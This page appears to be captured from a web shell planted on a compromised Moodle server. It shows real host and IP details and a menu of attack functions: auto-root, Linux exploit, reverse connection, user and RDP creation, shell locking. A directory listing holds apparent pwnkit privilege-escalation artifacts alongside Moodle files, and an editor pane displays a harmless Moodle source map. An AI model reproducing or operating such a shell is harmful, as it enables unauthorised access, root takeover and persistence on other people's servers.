Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
message /
amd /
build /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
message_drawer.min.js
6.98
KB
-rwxrwxrwx
message_drawer.min.js.map
18.02
KB
-rwxrwxrwx
message_drawer_events.min.js
1.55
KB
-rwxrwxrwx
message_drawer_events.min.js.m...
3.36
KB
-rwxrwxrwx
message_drawer_helper.min.js
880
B
-rwxrwxrwx
message_drawer_helper.min.js.m...
3
KB
-rwxrwxrwx
message_drawer_lazy_load_list....
3.42
KB
-rwxrwxrwx
message_drawer_lazy_load_list....
12.31
KB
-rwxrwxrwx
message_drawer_router.min.js
4.11
KB
-rwxrwxrwx
message_drawer_router.min.js.m...
13.75
KB
-rwxrwxrwx
message_drawer_routes.min.js
568
B
-rwxrwxrwx
message_drawer_routes.min.js.m...
1.62
KB
-rwxrwxrwx
message_drawer_view_contact.mi...
1.02
KB
-rwxrwxrwx
message_drawer_view_contact.mi...
3.81
KB
-rwxrwxrwx
message_drawer_view_contacts.m...
3.1
KB
-rwxrwxrwx
message_drawer_view_contacts.m...
9.22
KB
-rwxrwxrwx
message_drawer_view_contacts_s...
2.68
KB
-rwxrwxrwx
message_drawer_view_contacts_s...
8.66
KB
-rwxrwxrwx
message_drawer_view_contacts_s...
1.98
KB
-rwxrwxrwx
message_drawer_view_contacts_s...
6.06
KB
-rwxrwxrwx
message_drawer_view_conversati...
41.56
KB
-rwxrwxrwx
message_drawer_view_conversati...
119.9
KB
-rwxrwxrwx
message_drawer_view_conversati...
5.96
KB
-rwxrwxrwx
message_drawer_view_conversati...
11.6
KB
-rwxrwxrwx
message_drawer_view_conversati...
20.67
KB
-rwxrwxrwx
message_drawer_view_conversati...
69.68
KB
-rwxrwxrwx
message_drawer_view_conversati...
24.72
KB
-rwxrwxrwx
message_drawer_view_conversati...
86.55
KB
-rwxrwxrwx
message_drawer_view_conversati...
11.14
KB
-rwxrwxrwx
message_drawer_view_conversati...
40.58
KB
-rwxrwxrwx
message_drawer_view_group_info...
2.27
KB
-rwxrwxrwx
message_drawer_view_group_info...
7.88
KB
-rwxrwxrwx
message_drawer_view_overview.m...
4.33
KB
-rwxrwxrwx
message_drawer_view_overview.m...
14.37
KB
-rwxrwxrwx
message_drawer_view_overview_s...
15.53
KB
-rwxrwxrwx
message_drawer_view_overview_s...
44.95
KB
-rwxrwxrwx
message_drawer_view_search.min...
14.13
KB
-rwxrwxrwx
message_drawer_view_search.min...
44.02
KB
-rwxrwxrwx
message_drawer_view_settings.m...
4.55
KB
-rwxrwxrwx
message_drawer_view_settings.m...
15.39
KB
-rwxrwxrwx
message_notification_preferenc...
1.02
KB
-rwxrwxrwx
message_notification_preferenc...
2.81
KB
-rwxrwxrwx
message_popover.min.js
1.46
KB
-rwxrwxrwx
message_popover.min.js.map
4.67
KB
-rwxrwxrwx
message_preferences.min.js
2.25
KB
-rwxrwxrwx
message_preferences.min.js.map
6.19
KB
-rwxrwxrwx
message_repository.min.js
12.94
KB
-rwxrwxrwx
message_repository.min.js.map
47.72
KB
-rwxrwxrwx
message_send_bulk.min.js
2.37
KB
-rwxrwxrwx
message_send_bulk.min.js.map
4.83
KB
-rwxrwxrwx
message_user_button.min.js
1.67
KB
-rwxrwxrwx
message_user_button.min.js.map
5.23
KB
-rwxrwxrwx
notification_preference.min.js
2.53
KB
-rwxrwxrwx
notification_preference.min.js...
7.47
KB
-rwxrwxrwx
notification_processor.min.js
1.4
KB
-rwxrwxrwx
notification_processor.min.js....
3.83
KB
-rwxrwxrwx
notification_processor_setting...
4.63
KB
-rwxrwxrwx
notification_processor_setting...
13.88
KB
-rwxrwxrwx
preferences_notifications_list...
3.6
KB
-rwxrwxrwx
preferences_notifications_list...
9.06
KB
-rwxrwxrwx
preferences_processor_form.min...
1.42
KB
-rwxrwxrwx
preferences_processor_form.min...
4.29
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
toggle_contact_button.min.js
2.12
KB
-rwxrwxrwx
toggle_contact_button.min.js.m...
7.91
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : message_drawer_router.min.js.map
{"version":3,"file":"message_drawer_router.min.js","sources":["../src/message_drawer_router.js"],"sourcesContent":["// This file is part of Moodle - http://moodle.org/\n//\n// Moodle is free software: you can redistribute it and/or modify\n// it under the terms of the GNU General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// Moodle is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU General Public License for more details.\n//\n// You should have received a copy of the GNU General Public License\n// along with Moodle. If not, see <http://www.gnu.org/licenses/>.\n\n/**\n * A simple router for the message drawer that allows navigating between\n * the \"pages\" in the drawer.\n *\n * This module will maintain a linear history of the unique pages access\n * to allow navigating back.\n *\n * @module core_message/message_drawer_router\n * @copyright 2018 Ryan Wyllie <ryan@moodle.com>\n * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later\n */\ndefine(\n[\n 'jquery',\n 'core/pubsub',\n 'core/str',\n 'core_message/message_drawer_events'\n],\nfunction(\n $,\n PubSub,\n Str,\n MessageDrawerEvents\n) {\n\n /* @var {object} routes Message drawer route elements and callbacks. */\n var routes = {};\n\n /* @var {object} history Store for route objects history. */\n var history = {};\n\n var SELECTORS = {\n CAN_RECEIVE_FOCUS: 'input:not([type=\"hidden\"]), a[href], button, textarea, select, [tabindex]',\n ROUTES_BACK: '[data-route-back]'\n };\n\n /**\n * Add a route.\n *\n * @param {String} namespace Unique identifier for the Routes\n * @param {string} route Route config name.\n * @param {array} parameters Route parameters.\n * @param {callback} onGo Route initialization function.\n * @param {callback} getDescription Route initialization function.\n */\n var add = function(namespace, route, parameters, onGo, getDescription) {\n if (!routes[namespace]) {\n routes[namespace] = [];\n }\n\n routes[namespace][route] =\n {\n parameters: parameters,\n onGo: onGo,\n getDescription: getDescription\n };\n };\n\n /**\n * Go to a defined route and run the route callbacks.\n *\n * @param {String} namespace Unique identifier for the Routes\n * @param {string} newRoute Route config name.\n * @return {object} record Current route record with route config name and parameters.\n */\n var changeRoute = function(namespace, newRoute) {\n var newConfig;\n\n // Check if the Route change call is made from an element in the app panel.\n var fromPanel = [].slice.call(arguments).some(function(arg) {\n return arg == 'frompanel';\n });\n // Get the rest of the arguments, if any.\n var args = [].slice.call(arguments, 2);\n var renderPromise = $.Deferred().resolve().promise();\n\n Object.keys(routes[namespace]).forEach(function(route) {\n var config = routes[namespace][route];\n var isMatch = route === newRoute;\n\n if (isMatch) {\n newConfig = config;\n }\n\n config.parameters.forEach(function(element) {\n // Some parameters may be null, or not an element.\n if (typeof element !== 'object' || element === null) {\n return;\n }\n\n element.removeClass('previous');\n element.attr('data-from-panel', false);\n\n if (isMatch) {\n if (fromPanel) {\n // Set this attribute to let the conversation renderer know not to show a back button.\n element.attr('data-from-panel', true);\n }\n element.removeClass('hidden');\n element.attr('aria-hidden', false);\n } else {\n // For the message index page elements in the left panel should not be hidden.\n if (!element.attr('data-in-panel')) {\n element.addClass('hidden');\n element.attr('aria-hidden', true);\n } else if (newRoute == 'view-search' || newRoute == 'view-overview') {\n element.addClass('hidden');\n element.attr('aria-hidden', true);\n }\n }\n });\n });\n\n if (newConfig) {\n if (newConfig.onGo) {\n renderPromise = newConfig.onGo.apply(undefined, newConfig.parameters.concat(args));\n var currentFocusElement = $(document.activeElement);\n var hasFocus = false;\n var firstFocusable = null;\n\n // No need to start at 0 as we know that is the namespace.\n for (var i = 1; i < newConfig.parameters.length; i++) {\n var element = newConfig.parameters[i];\n\n // Some parameters may be null, or not an element.\n if (typeof element !== 'object' || element === null) {\n continue;\n }\n\n if (!firstFocusable) {\n firstFocusable = element;\n }\n\n if (element.has(currentFocusElement).length) {\n hasFocus = true;\n break;\n }\n }\n\n if (!hasFocus) {\n // This page doesn't have focus yet so focus the first focusable\n // element in the new view.\n firstFocusable.find(SELECTORS.CAN_RECEIVE_FOCUS).filter(':visible').first().focus();\n }\n }\n }\n\n var record = {\n route: newRoute,\n params: args,\n renderPromise: renderPromise\n };\n\n PubSub.publish(MessageDrawerEvents.ROUTE_CHANGED, record);\n\n return record;\n };\n\n /**\n * Go to a defined route and store the route history.\n *\n * @param {String} namespace Unique identifier for the Routes\n * @return {object} record Current route record with route config name and parameters.\n */\n var go = function(namespace) {\n var currentFocusElement = $(document.activeElement);\n\n var record = changeRoute.apply(namespace, arguments);\n var inHistory = false;\n\n if (!history[namespace]) {\n history[namespace] = [];\n }\n\n // History stores a unique list of routes. Check to see if the new route\n // is already in the history, if it is then forget all history after it.\n // This ensures there are no duplicate routes in history and that it represents\n // a linear path of routes (it never stores something like [foo, bar, foo])).\n history[namespace] = history[namespace].reduce(function(carry, previous) {\n if (previous.route === record.route) {\n inHistory = true;\n }\n\n if (!inHistory) {\n carry.push(previous);\n }\n\n return carry;\n }, []);\n\n var historylength = history[namespace].length;\n var previousRecord = historylength ? history[namespace][historylength - 1] : null;\n\n if (previousRecord) {\n var prevConfig = routes[namespace][previousRecord.route];\n var elements = prevConfig.parameters;\n\n // The first one will be the namespace, skip it.\n for (var i = 1; i < elements.length; i++) {\n // Some parameters may be null, or not an element.\n if (typeof elements[i] !== 'object' || elements[i] === null) {\n continue;\n }\n\n elements[i].addClass('previous');\n }\n\n previousRecord.focusElement = currentFocusElement;\n\n if (prevConfig.getDescription) {\n // If the route has a description then set it on the back button for\n // the new page we're displaying.\n prevConfig.getDescription.apply(null, prevConfig.parameters.concat(previousRecord.params))\n .then(function(description) {\n return Str.get_string('backto', 'core_message', description);\n })\n .then(function(label) {\n // Wait for the new page to finish rendering so that we know\n // that the back button is visible.\n return record.renderPromise.then(function() {\n // Find the elements for the new route we displayed.\n routes[namespace][record.route].parameters.forEach(function(element) {\n // Some parameters may be null, or not an element.\n if (typeof element !== 'object' || !element) {\n return;\n }\n // Update the aria label for the back button.\n element.find(SELECTORS.ROUTES_BACK).attr('aria-label', label);\n });\n });\n })\n .catch(function() {\n // Silently ignore.\n });\n }\n }\n history[namespace].push(record);\n return record;\n };\n\n /**\n * Go back to the previous route record stored in history.\n *\n * @param {String} namespace Unique identifier for the Routes\n */\n var back = function(namespace) {\n if (history[namespace].length) {\n // Remove the current route.\n history[namespace].pop();\n var previous = history[namespace].pop();\n\n if (previous) {\n // If we have a previous route then show it.\n go.apply(undefined, [namespace, previous.route].concat(previous.params));\n // Delay the focus 50 milliseconds otherwise it doesn't correctly\n // focus the element for some reason...\n window.setTimeout(function() {\n previous.focusElement.focus();\n }, 50);\n }\n }\n };\n\n return {\n add: add,\n go: go,\n back: back\n };\n});\n"],"names":["define","$","PubSub","Str","MessageDrawerEvents","routes","history","SELECTORS","changeRoute","namespace","newRoute","newConfig","fromPanel","slice","call","arguments","some","arg","args","renderPromise","Deferred","resolve","promise","Object","keys","forEach","route","config","isMatch","parameters","element","_typeof","removeClass","attr","addClass","onGo","apply","undefined","concat","currentFocusElement","document","activeElement","hasFocus","firstFocusable","i","length","has","find","filter","first","focus","record","params","publish","ROUTE_CHANGED","go","inHistory","reduce","carry","previous","push","historylength","previousRecord","prevConfig","elements","focusElement","getDescription","then","description","get_string","label","catch","add","back","pop","window","setTimeout"],"mappings":"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"}
Close